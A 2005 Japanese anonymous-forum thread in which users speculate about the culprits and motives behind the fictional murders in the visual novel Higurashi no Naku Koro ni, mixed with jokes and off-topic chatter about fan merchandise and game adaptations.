ID:lQe+IvM+0 tipsのサトコのトラップ講座にぴったり符号する……。 604 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:53:30 ID:TMWLI6Zw0 「鉄平が生きている」 そう言えばKOOLが再度殺しに来ることすらも沙都子の目論見 そして風呂に入りひたすら待つ だから病院まで行っただけで歩けるまでに回復してるんじゃないか、って考え方も出来る 605 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:54:05 ID:vJ/wOCpc0 出た意見がまとめられるなら本気で解いてもいいが… とりあえず鬼隠しは後付けで変えられる構造にはなってる 後付けをしないなら入江が２人を撲殺 あと各編で横に解くんじゃなくて出た情報を時代別に分割して 縦に読むんだ 606 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:54:18 ID:FN3VNciw0 サトコ結構好きだし、「嘘だっ！」と言いたい気分だが・・・・ 怪しすぎんぞ、おい 607 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:54:53 ID:AMlMv4rl0 サトコがKOOLを鉄平殺しに誘導したのだと思ってるのだけど 608 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:55:18 ID:qCFFW3qj0 >503 亀だが、記述あるよ しかし大石の口から語られた話なのでフェイクである可能性高し 609 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:56:03 ID:FxWgFyzD0 >>604 風呂場に突撃かましたときの圭一の風呂屋の湯船のような温度の風呂って、 常温じゃん。って突っ込みいれそうになった奴居なかった？ しかも追い炊き掛けっぱなしだったなら1時間足らずで沸騰して入れなくなる と思うし。 610 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:56:49 ID:TMWLI6Zw0 だけどさ、沙都子が犯人だと最後の問題が残ってしまうんだ 動機は何だ？ 雛見沢の全てを恨んでいるから、か？ 何故梨花を惨殺する？ 大災害を起こせるならそれで皆殺しにすればいいだけだし 611 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:57:24 ID:FxWgFyzD0 >>605 5年目以外は基本的に共通してるだろうからそれでいいと思う。 5年目の事件に関しては行動パターンの違いによって展開が変わってるらしいので、 直接比較は出来ないと思われ。 612 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:57:32 ID:ADNZGrdU0 >>605 なんか意味深だ 613 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:58:27 ID:lQe+IvM+0 >>607 ふむ。 殺すところまで本当に誘導できるかどうかはどんなもんだか、だが……。 その時点から計画してたってのは考えられなくない。 >>608 ソースと内容できればキボン…。 614 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 21:59:56 ID:lQe+IvM+0 >>609 それは思った。 最近の奴は温度によって止まったりしてくれるけど、 昭和５８年じゃそうはいかないもんな……。 615 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:00:03 ID:T3ohUj0+0 今から挫折してた暇潰しと目明し編やってくるお 616 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:00:27 ID:TMWLI6Zw0 >>609 しかもさ、いきなり風呂場は見ないよな普通 だからそれまではサウナ気分で湯船に入らず待ってればOK 進入したの確認して風呂に入る 熱めの風呂ならドタバタしてる間に体は（少なくとも表面は）十分湯温までは温まる KOOLのことを考えれば絶対風呂も見に来るはず そして発見 617 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:01:09 ID:e5al/5zO0 >>610 沙都子は大災害or梨花殺害と関ってると考えるべきか否かだな 618 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:01:45 ID:nH5/GAky0 >>615 がんばれ、ハンカチ用意しろよ 619 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:04:53 ID:TMWLI6Zw0 >>617 そうか そうするとKOOLをあの方法で殺す理由は出てくるぞ 「鉄平の死を祟りにするため」だ 行方不明者を出さなきゃならんから とすると悟史も・・・・？ 濁流に飲まれれば死体が上がらないってのは沙都子の叔母がそうなってるんだよな ここも変に一致する 620 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:05:47 ID:lQe+IvM+0 >>610 動機…………。 入江：サトコのこと本気でメイドにしようと思ってたから。 大石：にーにーを疑って追い詰めたから。 梨花：……なんだろ？ >>615 ガンガレー 621 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:06:15 ID:FxWgFyzD0 梨花の解体現場に行くシーンも梨花の家によるフリをすれば自然に誘導できるしな。 ちょっと考えれば鉈で人間の体を切開することなんか出来ないことがわかりそうな もんだし。梨花の解体を圭一になすり付けてるようには感じたけど。 622 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:08:03 ID:AMlMv4rl0 サトコに関しては2年目の北条夫妻転落事故も怪しい… サトコ、あやしい… 623 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:08:28 ID:lQe+IvM+0 ただ、梨花の殺害状況で気になることがあるんだよ。 腹が縦にがっぱり裂かれているんだ。 何かおれはこの「がっぱり」っていう表現から、 「医療用メス」の臭いを感じてしまうんだけど。 624 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:10:00 ID:1VJsOCOs0 イリーと沙都子の共犯？ 625 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:10:40 ID:FxWgFyzD0 >>623 実際その手のブツだと思ってるけど…。内臓に傷を入れないようにやるなら切り口つけたら 鋏とかで切った方がいいんだろうけど。 626 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:11:24 ID:I7rBhNM00 たぶん、沙都子は梨花に「地獄の底までお付き合いし」てるんだと思うんだよね 動機はちょっと分からないけど、この辺の日常シーンは、やっぱり伏線としか思えねぇ 627 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:12:32 ID:lQe+IvM+0 >>625 おれはこれに関しては鷹野だと思ってるんだよな。 研究ノート２で、 「古手梨花が死んだらこの村はどうなるのだろう？ 想像するだけで胸が躍る」 というようなことが書いてある。 628 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:14:03 ID:ADNZGrdU0 沙都子は俺が守る！ 629 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:14:14 ID:FxWgFyzD0 >>626 元々梨花の解体ショーが梨花自身の望みで、それを沙都子が叶えてるってこと？ ありえないことはないと思ってるけど。 梨花の日記とかでどうも梨花は破滅的な性格を抱えてるっぽい気がするし。 退屈で死にそうだからオヤシロさまの祟りに見立てた連続殺人を思いついて、最後は 自分自身を殺す計画を建てて、誰かがそれを覆してくれるのを待っていたとか？ 630 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:15:04 ID:FxWgFyzD0 >>627 それも考えたことがある。でもそうすると、三四は祭りの前日あるいは当日に死んでるって のが嘘になるんだよな。 631 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:15:47 ID:AMlMv4rl0 鷹野が本当のオヤシロさまの祟り（大災害）を見てみたいが為に、 オヤシロさまのうまれかわり？である梨花ちゃんを殺したと推測 632 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:15:55 ID:yWdUqOTk0 さと子は両親の事件に関わってると思うな～ でもやっぱり裏にいるのは詩音だと思う 鬼隠しじゃ生きてた詩音が綿流しと同じく自殺してるし K1がさと子を頼むって電話した時もすでに魅音と入れ替わってるようだし リカちゃんは境内で殺されてたけどこれって怪しいよね 誰かを殺すのに人に見られるかも知れない真っ昼間に屋外でやるだろうか？ リカちゃん殺した犯人はガスが発生する事を知ってたもしくは発生させた本人じゃないかな 633 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:18:17 ID:FxWgFyzD0 >>632 これもそうだと思う。ガスが発生した話で共通してるものに境内で梨花が解体されてる ってのが有るから。それが沙都子とか詩音が絡んでるかどうかは分からないけど。 634 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:18:42 ID:lQe+IvM+0 >>630 鷹野の死体は偽造の可能性が高いからさ……。 何か梨花殺しのような目的があって、死体を偽造して身を隠したのかもしれない。 ただ、それだと鬼隠しと綿流しが「なんで？」って話になる。 梨花の殺害予言に関しても、 死ぬ方法は穏やかだ、とある。 これはクロロホルムかなんかで眠らされてから殺されることを指すんじゃ？ （まぁ、予言の話はなー。ちょっとアレなんだけどさー） そういう薬系統を扱える人間も、限られてくるだろ？ 635 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:18:57 ID:TMWLI6Zw0 >>629 むしろ梨花は沙都子になら殺されてもいいと諦めているんじゃないだろうか 憶測に過ぎんけどな >>630 死体が損傷してるときは入れ替わりを疑え ってのは推理小説の初歩だ イリーが診療所の人間（レナ）が「5年目の祟り」といえる程度の日程で死んでいるのを言っている 保険証を鷹野が貸して歯医者に行かせたとしたらこの入れ替えは成立するぜ 歯型しか照会に使ってないからな 現代だったらDNA鑑定もありうるがそこは昭和58年だ 636 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:19:27 ID:TMWLI6Zw0 レナ違う、リナ 間宮リナだっけか？ 637 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:20:24 ID:lQe+IvM+0 リナは祟殺し冒頭で殺された人。 イリーが言ってたのはリサ。 638 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:20:57 ID:I7rBhNM00 >629 いや、梨花が殺されたのは沙都子達からは想定外だと思うんだよ 梨花は「死にたくない……」だったわけだしさ それでも殺されてしまった→皆殺しだー、とかかなぁ、と 639 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:22:46 ID:TMWLI6Zw0 リサか、訂正THX そういや北条鉄平がわざわざ戻ってくるように鉄平の愛人を殺したのは誰だ？ 沙都子って線は薄いよな 別に殺さないでも消えてるものを呼び戻す必要なんか ああ、全てを憎んで雛見沢関係全滅を狙えばありえるな 640 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:23:50 ID:IlUmR7Wv0 ↓こんなの見つけた 328 ：名無しさん＠お腹いっぱい。：2005/05/25(水) 13:51:19 ID:uQFsQhBl 悟史のバット・・・。 悟史のバットについて考えれば考えるほど悟史が北条玉枝を殺したのだとは思えなくなってしまう。 まず悟史は綿流しの日の午後五時台に不法投棄現場の机の数メートル手前にあのバットを置いた。 そして綿流しの日の晩に(犯人が誰であるにせよ)玉枝は金属バットで頭を潰されて死んだ。 そして悟史のバットは悟史のロッカーに戻った。いつの間に戻ったのかはわからないが。 もし悟史が犯人だとしたら事件の重要な証拠になるバットをみすみす自分のロッカーに戻したりするだろうか？ もしそれを使って玉枝を殺したのだとすれば当然血液反応も出るだろうし傷やへこみもできるだろう。 そんなバットを自分のロッカーに戻したりするだろうか？ 普通に考えればそんな重要な証拠物件は自分のロッカーに戻したりしないで鬼ヶ渕沼にでも投げ込んで隠滅して しまうのが当然だ。 にもかかわらず悟史のバットは悟史のロッカーに戻った。何故か？ 俺の推理はこうだ。 641 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:23:57 ID:I7rBhNM00 >635 なるほど、どうせ殺されるなら、せめて沙都子の手で、ってのはあるかなぁ 642 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:24:05 ID:lQe+IvM+0 >>639 鉄平の愛人なー……。 殺害方法から見ると明らかに園崎だ。 園崎系列の店の人間だし、理由もはっきりしてたよな？たしか。 643 ：続き ：2005/06/07(火) 22:24:44 ID:IlUmR7Wv0 まず悟史は玉枝を殺すつもりはあったのだろう。だからこそ綿流しの日の夕方あそこにバットを隠した。 使用後はどこか絶対に見つからない場所にでも投棄するつもりだったのだろう。 その前日には魅音(実際は詩音)に電話をして沙都子を連れ出すよう頼んである。机を運ぶ人手として沙都 子にまで来られたら困るからだ。 そして綿流しの晩。 悟史はまだ使えそうな机が不法投棄現場にあると言う口実で玉枝をおびき出した。そしてその机が使えそうか どうか入念にチェックする玉枝は無防備な背中を悟史に晒す。 その背中を見ながら悟史はバットを隠した草むらまで慎重に後ずさる。そして確かにバットを隠したはずの草 むらを手でまさぐる。 だが・・・・・バットは・・・・無い！あれほど事前に場所を確認したにもかかわらず・・・だ！ そして半狂乱で草むらを探し回る悟史はやがて数メートル向こうで凄惨な殺人劇が繰り広げらていれるのを目 にする。 もはや彼は茫然自失で草むらに身を潜めてそれを眺めている事しか出来なかった・・・。 つまり彼はバットを見つけられなかったが為に予定していた殺人もバットの投棄もできなかったのだ。 では何故バットは無かったのか？ そしてなぜバットは悟史のロッカーに戻ったのか？ それは・・・。 ①不法投棄現場を頻繁に訪れる ②悟史を知っている ③学校の教室に入っても不自然でない この三つの条件を満たす人物Xが綿流しの日の午後五時以降に不法投棄現場からバットを持ち去り、おそらく翌 日の早朝に教室に入り悟史のロッカーにバットを戻したからなのだ。 644 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:25:41 ID:FxWgFyzD0 >>638 そこが古手梨花の破滅的な性格のなせる業なのかなー？とか思ったりしてたんだよね。 平穏な毎日をぶち壊したいってのも死にたくないってのも梨花の本音なんじゃないかな？ と。案外自分の命を懸けたゲームを楽しんでたんじゃないかなー？とか。 645 ：640：2005/06/07(火) 22:25:43 ID:IlUmR7Wv0 あ、>>491宛ね。 646 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:26:42 ID:JKV7KiKe0 ものすごく基本的な質問なんだけど、 あれは本当に悟史のバットなのかな？ 647 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:27:17 ID:TMWLI6Zw0 >>642 そんな記述あったっけ？ 園崎系列とするならわざわざ殺すリスクを背負う意味はなんだろう 鉄平が戻ったのは偶然か？ もし故意だとすると殺しが沙都子で繋がらなくなるぞ 648 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:27:46 ID:lQe+IvM+0 >>646 悟史の名前が書いてあったことと、 周りの人間が悟史のものだと言った、ってところしか証拠はないな。 649 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:28:39 ID:FxWgFyzD0 >>647 ブルマーメイドとか言う店に勤めてたはずだけど、確か熊ちゃんか誰かが常連になってる 店で園崎の系列の店って書かれてたはず。 650 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:29:40 ID:ADNZGrdU0 組の金に手つけたんじゃなかったか？ んでいくつかの口座に上限一杯まで振り込む 元園崎系列の男何人かも姿消してて腕ききが追ってるとかいうのがどっかにあったような 651 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:31:06 ID:AMlMv4rl0 >>641 どうせ殺されるなら、で梨花が自ら何かで眠らされて殺されたのはあると思う。 フレデリカの3人の大臣の話と似てるし。 でも俺的にはサトコじゃなく、死の運命を変えるための協力者の一人であった鷹野さんが殺したと。 その後の死体のワタ云々は鷹野さんの事情で。 652 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:31:54 ID:lQe+IvM+0 >>650 あぁ、ソレだ！！ 間宮リナの死はその方向で片付けられている。 ……本当にそうなのかはわからんけど。 ちなみに店名、「ブルー・マーメイド」な。 店員はブルマでメイドらしいよ。 653 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:32:33 ID:TMWLI6Zw0 とすると 鉄平の帰還は祟殺しのみの偶発的なものか それでKOOLまで巻き込んで鉄平殺した・・・と考えるにはなあ ちょっと動機が足りなくなってくる ましてや梨花っち殺すのは無理臭い 654 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:33:02 ID:FN3VNciw0 ていうか、なんか今、女からお別れの連絡がきたんですけど、オヤシロ様は関係ありますか？ 655 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:33:57 ID:TMWLI6Zw0 >>653 足音が一つ多くなるのはお前なのか彼女なのか それとも 656 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:33:57 ID:ADNZGrdU0 >>654 足音が増えてなければ大丈夫だ 657 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:34:34 ID:I7rBhNM00 >643 玉枝を殺った人間とは別に、レナが単独でバットを戻す？ あるいは、レナが殺った？ 後者は身体能力的に薄そうだな 前者なら、なぜ？ 殺人者のため? 悟史のため？ オヤシロ様のため？ 658 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:34:53 ID:iEaB6Xl80 昨晩2時頃外歩いてたら足音ひとつ多く聞こえた気がしてマジでびびった 659 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:36:40 ID:C4GV54zg0 鬼隠ししか知らん漏れに、 綿流し、崇殺し、暇潰しのあらすじをまとめてくれ。 お礼は何かする。 660 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:37:10 ID:AMlMv4rl0 >>658君は、しないよね？ ……転校。 661 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:38:45 ID:lQe+IvM+0 綿流し 魅音萌え。 目が怖い。 魅音コエェｗｗｗ 祟殺し 圭一人殺し サトコが裸 全滅 暇潰し 梨花 黒梨花 梨花 662 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:38:53 ID:FN3VNciw0 綿流しあらすじ 魅音と詩音の園崎祭 祟殺しあらすじ すじ 暇つぶしあらすじ じじぃたちハッスル 663 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:39:03 ID:TMWLI6Zw0 沙都子の叔母の死体は腕が綺麗だった ひぐらし世界ではKOOLが後から殴りつけても人一人昏倒させることも出来ないのに しかもそれほどの鮮やかに一撃を決めて意識を刈ったのに滅多打ちにしてる 何故だ 664 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:39:14 ID:YDjqlh9I0 すべて解決する答えが見つかった。言うぞ？いいな？聞きたくない奴は見るな 俺が犯人。むしゃくしゃしてやった。超ﾊﾟﾜｰで今までの事件操ってた 665 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:39:53 ID:6CdFP9B80 つーかさ、ひぐらしって１８禁指定じゃないよね？ 祟殺しのすじまんこはいいの？ 666 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:40:25 ID:T3ohUj0+0 >>664 おまｗｗｗｗｗｗｗｗｗｸｵﾘﾃｨﾀｶｽｗｗｗｗｗｗｗｗｗｗｗｗ 667 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:41:03 ID:cecDTGUX0 それが同人クオリティ。 コンシューマー化されたらモザイクが入る予定なのは有名な話 668 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:41:20 ID:LX89sbEo0 今酷いネタバレを見た 669 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:42:18 ID:TMWLI6Zw0 >>659 悪いことは言わない ここで楽しむならやっとけ 出来れば目明しまで それだけが、私の……望みです。 670 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:42:20 ID:lQe+IvM+0 >>664 オヤシロ様降臨しましたよｗｗｗｗ >>663 うーん、親父に比べると叔母は女性だし……ってのじゃ理由にならないか。 滅多打ちにしたのは怨みからくるものだと思う、けど……。 或いは怨みからの犯行だと思わせる。 671 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:46:47 ID:an7A59/H0 滅多打ちにするのは犯人に恨みがあるからってクラウドが言ってたでしょ 詩音だって鬼ばばだけは即死してても滅多打ちにしてただろ 672 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:47:29 ID:vNi9J3iN0 解いちゃった･･･ 673 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:48:33 ID:YDjqlh9I0 >>672 詳しく、できれば牛丼付きで 674 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:50:40 ID:vNi9J3iN0 今メモ帳に書いてる ２時間くらいで仕上げる 675 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:50:45 ID:TMWLI6Zw0 >>672 そうか、よし殺す 俺は行方不明になってしまうかもしれないが 雛見沢連続怪死事件……通称オヤシロさまの祟り このスレを読んでいるあなた どうか真相を それだけが、私の… 676 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:52:26 ID:an7A59/H0 >>673 特定しました 677 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:53:49 ID:6CdFP9B80 >>674 Alt+F4 678 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:54:38 ID:8c89jy7p0 おもっきり話題ずれてすまんのだが 夏に出る罪滅ぼし編でレナの秘密、雛見沢の秘密が明らかになりますって言ってるんだが それって散々既出だが レナはやっぱり分裂症か何かで雛見沢分校がそういう人間を隔離してたってことと繋がらないか？ そうじゃないとレナの秘密と村の秘密ってのがイコールにならないんだが。 679 ：659：2005/06/07(火) 22:54:40 ID:C4GV54zg0 ありがとよ ttp://pya.cc/pyaimg/pimg.php?imgid=8867 ところで、鬼隠し喉かきむしりの謎で頭蛾ぶっ壊れて 何者かが圭一の喉に蚊に食わせたという推理をしてしまった。 680 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:56:27 ID:an7A59/H0 >>678 丁度本スレでもついさっきまで出てたが祟殺しがどうにもならん 681 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:56:44 ID:wvxYhO3L0 なぁ 気になったんだが コンシューマー化したら 指の数なおさないといけないんじゃぁ？ 682 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:58:37 ID:u1CVnUBL0 レナの秘密＝オヤシロさまを盲信する秘密 雛見沢の秘密＝祟りシステムの秘密 足音を聞くと言う事 レナだけ助かっている訳 の辺りだろ 683 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:58:57 ID:C4GV54zg0 >>681 4本指や四足はタブーなんだよな。詳しい理由はわからんが。 684 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 22:59:24 ID:TMWLI6Zw0 今明かされる雛見沢の謎 雛見沢にいる藪蚊は大体体長30cmぐらいです 刺されると、凄く、痒い 夏コミ最終日の夜 ぐぎゃぎゃって竜騎士氏の家に押し寄せるvipperの波が 685 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:01:08 ID:8c89jy7p0 >>681 かまいたちみたいに影になるとか 別絵師に変わるとか そーいう噂は立ってるな 686 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:03:04 ID:lQe+IvM+0 >>679 にゃにゃにゃにゃんこ！！！！！！！！！！！！！！！！！！！ まぁ、あらゆる方向性から推理してくれｗ 蚊に刺された所為で喉にかゆみを覚えた結果、 脅迫観念におそわれて自殺……なんてのも考えられないことはないｗ 俺はもう寝るぽ。 事情によりしばらく、またはずっと来れないかもしれん。（わかんねーけど） 元々殆ど暇潰しで立てたスレだからこんなに伸びると思ってナカタ。 おまいらにはほんと感謝。 これからスレが続くかどうかわかんねーけど、続いてくれると嬉しい。 おまいらあいしてるｗ ﾉｼ 687 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:03:21 ID:8c89jy7p0 てかそもそもコンシューマーってどこまで入るんだ？ 目明しや罪滅ぼしまでだったらおもっきし歯切れ悪いぞ。 それとも出題編と回答編で別？ 688 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:03:59 ID:C4GV54zg0 そういや今思い出したんだが、漫画版ひぐらし鬼隠し編書いてる人は ＦＲに投稿していた人だ。 689 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:04:20 ID:u1CVnUBL0 完結してからコンプリートボックスとか言って出すのが一番儲けられるんじゃないか 690 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:05:22 ID:FN3VNciw0 >>687 移植かどうかもまだわからんぞ？ コンシューマーでひぐらしのゲームをだすって発表があっただけだ。 格闘ゲームかもしれんｗ 691 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:06:23 ID:cecDTGUX0 >格闘ゲーム それだ！ 692 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:07:14 ID:C4GV54zg0 >>689 俺いちいち全部買うの面倒だから コンプリートボックスあったら欲しい。 693 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:07:16 ID:an7A59/H0 月信者の竜ちゃんの筋書き通りだったってわけか・・・っっ 694 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:08:02 ID:TMWLI6Zw0 月信者ってことを考えれば 祟りじゃなくてタタリかもしれない 村全滅 695 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:09:18 ID:YDjqlh9I0 雛見沢はエンヤ婆のスタンド 696 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:09:55 ID:an7A59/H0 てことは詩音＝ｼｵﾝかねーよｗｗｗｗｗｗｗｗ 697 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:10:24 ID:TMWLI6Zw0 >>695 レナが校舎のガラス割って回ったのは、まさか！！！ 698 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:10:30 ID:08Dh9CkE0 バイトから帰ってきた俺がきましたよ。 まず鷹野がトミー殺し？説の時にね落ちしちゃったから聞くが、この説は結論出た? あと、今までで確定した推理･事柄あったら教えて。 それから、家族でアニメイト行くことについて考えを聞かせてｗｗｗｗｗｗｗ 699 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:10:35 ID:FN3VNciw0 あるあるｗｗｗ 700 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:11:37 ID:YDjqlh9I0 >それから、家族でアニメイト行くことについて考えを聞かせてｗｗｗｗｗｗｗ あるあるｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ 701 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:11:49 ID:vNi9J3iN0 なんか書くのめんどくなってきた･･･ 702 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:13:06 ID:8c89jy7p0 >>690 格闘か、実現できそうなところが怖いなｗｗ KOOLゲージ装備 K1 詩音 ひぐらしゲージ装備 レナ 魅音 ゲージ満タンで覚醒が可能とか。 「詩音は悟史の→A「撫でる」で５秒間行動不可だよ」 「レナの超必のおもちかえりって派生１フレで無敵15フレってどういうことだよ」 こんな会話がなされるのですか。それは欲しいぞ。 703 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:14:08 ID:FN3VNciw0 最終目標はコナミからカードゲーム化だ！ｗｗｗｗ 704 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:14:21 ID:ADNZGrdU0 >>701 がんばれ 705 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:17:56 ID:8c89jy7p0 俺のターン！ 魔法カードメイド服！ この効果で入江は場に出ている１５歳未満の女子の数だけ攻撃力が500アップだ！ 706 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:18:33 ID:TMWLI6Zw0 魅音3ゲージ超必 園崎地下祭具殿 くけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ ガキンガキンガキンガキンガキンガキンガキンガキン ガキンガキンガキンガキンガキンガキンガキンガキン ガキンガキンガキンガキンガキンガキンガキンガキン ガキンガキンガキンガキンガキンガキンガキンガキン けけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ けけけけけけけけけけけけけけけけけけけけけけけけけ You Lose 707 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:18:37 ID:G/I1xjmA0 >>698 家族でメイド喫茶は見かけたことあるぞ 708 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:21:28 ID:FN3VNciw0 あー、昨日、実況スレで今日から初出社と書いた者だがぁ 会社から歩いて５分以内のとこにアニメイトある。 んでだ、アニメイトって入ったことないのだが、ドラマＣＤとか売ってるのか？ 明日、勇気を出して行って見ようかな・・・ 709 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:22:41 ID:JKV7KiKe0 >>698 ＞それから、家族でアニメイト行くことについて考えを聞かせてｗｗｗｗｗｗｗ やめとけｗｗｗｗｗｗ 周りの客を見て、おまえの親が「…うちの子もこんなになってしまうの？」って心配するからｗｗｗｗｗｗ おまえが親なら、混んでて危ないから連れて行っちゃ駄目ｗｗｗｗｗｗ >>702 メルブラとかFSDの例があるから、同人で実現する可能性は極めて高いと思う つーか絶対どっか作りかけてるってｗｗｗｗｗ 710 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:22:42 ID:an7A59/H0 ヒント 勇気を出さなくてもamazon 711 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:23:05 ID:08Dh9CkE0 >>707 俺は妹とならある。母親は別行動。父はいない･･･ 712 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:23:56 ID:08Dh9CkE0 >>709 すでに何回もいっているという罠 713 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:26:34 ID:e5al/5zO0 >>712 家族が誘ってるのか、お前が誘ってるのかどっちだ？ 714 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:31:55 ID:08Dh9CkE0 >>713 最初は俺と妹の付き添い(財布ともいう) いまでは駅からアニメイトまで迷わずいけるほど。ｗｗｗｗｗ 母は一人では行かないが、行けばいろいろ買ってくる。ケロログッズとかｗｗｗｗ 